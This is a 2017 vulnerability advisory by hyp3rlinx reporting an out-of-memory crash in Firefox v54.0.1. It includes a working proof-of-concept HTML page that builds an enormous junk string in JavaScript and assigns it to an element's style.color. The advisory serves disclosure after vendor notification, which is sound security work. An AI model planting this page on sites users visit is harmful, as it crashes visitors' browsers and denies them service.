[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec Vendor: =============== www.mozilla.org Product: =============== Firefox v54.0.1 Vulnerability Type: =================== Denial Of Service Security Issue: ================ Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the "style.color" property results in Firefox Browser out of memory crash (not tab crash). Tested on Windows 7 References: https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288 Exploit/POC: ============= <html> <body> <script> var p1 = "\x41"; for (var c=0;c<0xC350;c++){ p1+="\x41"; } var p2="\x41"; for (c=0;c<0x1388;c++){ p2 += p1; } var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements. el.style.color=p2 document.body.appendChild(el) </script> </body> </html> Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: June 27, 2017 July 7, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
